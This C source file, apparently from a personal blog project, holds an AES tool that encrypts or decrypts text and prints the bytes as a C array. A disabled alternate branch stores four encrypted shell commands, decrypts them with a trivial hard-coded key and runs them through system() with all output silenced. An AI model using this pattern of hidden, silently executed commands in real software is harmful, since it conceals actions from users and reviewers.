///////////////////////////////
// http://mingcn.cnblogs.com //
//  xelz CopyRight (c) 2010  //
///////////////////////////////

#include "stdafx.h"

#if 1
#define app_name "aes"
#define app_ver  "v1.0"
#define app_update "2013-08-08"
void ShowHelp()
{
	printf("Usage:%s [-pde] <\"data\">\r\n",app_name);
}

void ShowVer()
{
	printf("%s %s at %s\r\n",app_name,app_ver,app_update);
}
void Aes(bool bEncrypt,char* pszPassword,const char* pszContent)
{
	if (pszPassword==NULL || pszContent==NULL) {
		return;
	}
	
	int len = strlen(pszContent);
	if (len==0) {
		return;
	}

	unsigned char key[16];
	memset(key,0,16);
	strncpy((char*)key,pszPassword,15);

	AES aes(key);
	int reallen;
	int mod = len%16;
	if (mod) {
		reallen = len + 16 - mod;
	}
	else {
		reallen = len;
	}
	std::vector<unsigned char> data;
	data.resize(reallen);
	memcpy(&data[0],pszContent,len);
	if (bEncrypt) {
		aes.Encrypt(&data[0],reallen);
	}
	else{
		aes.Decrypt(&data[0],reallen);
	}
	printf("[%d] = { \r\n\t",reallen);
	for (int i=0;i<reallen;++i) 
	{
		printf("0x%02x,",data[i]);
		if ((i+1)%16==0) printf("\r\n\t");
	}
	printf("\r\n};\r\n");
}

int main(int argc, char* argv[])
{
	using namespace libnt;
	arg_parse arg;
	argument* parg = NULL;
	bool succed;
	

	succed = arg.parse(argc,argv,"p:dev");
	if (!succed) {
		ShowHelp();
		return -1;
	}
	parg=arg.getarg();
	if (parg==NULL) {
		ShowHelp();
		return -1;
	}
	char* pszText = parg->valp;


	bool bHasVersion  = false;
	char* pszPassword  = NULL;
	bool bHasEncrypt  = false;
	bool bHasDecrypt  = false;

	while ((parg=arg.getopt())!=NULL)
	{
		switch (parg->flag)
		{
		case 'd':
			bHasDecrypt= true;break;
		case 'e':
			bHasEncrypt= true;break;
		case 'p':
			pszPassword = parg->valp;break;
		case 'v':
			bHasVersion = true;break;
		default:
			break;
		}
	}
	if (bHasVersion) {
		ShowVer();
		return 0;
	}
	
	if (bHasEncrypt && pszPassword!=NULL) 
	{
		Aes(true,pszPassword,pszText);
		return 0;
	}
	if (bHasDecrypt && pszPassword!=NULL) 
	{
		Aes(false,pszPassword,pszText);
		return 0;
	}

	ShowHelp();
	return -1;
}
#else

typedef struct __cmd
{
	char* cmd;
	int   length;
}cmd_t;
char cmd1[32] = {
	0xc2,0xe9,0x0b,0xca,0xaa,0x8f,0x67,0xe7,0x01,0x16,0x9a,0xe7,0xb5,0x0a,0xd5,0xeb,
	0xe8,0x38,0xa7,0xd4,0x24,0x52,0x2b,0xc4,0x51,0x7d,0x42,0xff,0x35,0xa8,0xf4,0x37,
};
char cmd2[64] = {
	0xb1,0xd5,0xdc,0x3f,0x39,0x0f,0xf5,0x7f,0x25,0x05,0xe9,0x9e,0x14,0x22,0x9b,0xd7,
	0x53,0xe4,0x34,0x1c,0xdf,0xac,0x32,0x84,0xfd,0xf5,0x3c,0x6f,0xfa,0xf2,0x97,0xe3,
	0x29,0xff,0xff,0x06,0xda,0xdc,0x6d,0x68,0x1d,0xb2,0xc4,0x24,0x71,0xce,0x9f,0x5a,
	0xec,0x37,0xa1,0x1e,0x32,0xd2,0x8c,0xb1,0x9d,0x98,0x55,0xfe,0x7c,0x60,0x75,0xc5,
};
char cmd3[32] = {
	0x11,0x20,0x4e,0x43,0xc2,0xab,0x2f,0xa3,0xdf,0x8c,0x61,0x84,0xba,0xed,0xd5,0x43,
	0x7d,0x9a,0x5b,0x8f,0x29,0x83,0x86,0x33,0x39,0x1f,0xaa,0xe6,0xa5,0x91,0x9d,0xe8,
};
char cmd4[16] = {
	0x99,0x3f,0xd4,0x0c,0x01,0x6b,0x58,0x70,0x9f,0x76,0x28,0xb8,0xed,0x27,0xda,0xb7,
};
cmd_t cmds[4] = 
{
	{cmd1,32},
	{cmd2,64},
	{cmd3,32},
	{cmd4,16},
};
int main(int argc, char* argv[])
{
	unsigned char key[16];
	char cmd[128];
	memset(key,0,16);
	key[0] = '2';
	AES aes(key);
	int ret;
	for (int i=0;i<4;i++) 
	{
		aes.Decrypt(cmds[i].cmd,cmds[i].length);
		strcpy(cmd,cmds[i].cmd);
		if (i!=3) {
			strcat(cmd," 1>/dev/null 2>/dev/null");
		}
		else{
			sync();
		}
		ret = system(cmd);
		if (ret) {
			//printf("%i\r\n",i);
			return i+1;
		}
		//printf("%s \r\n",cmd);
	}
	sync();
	return 0;
}
#endif

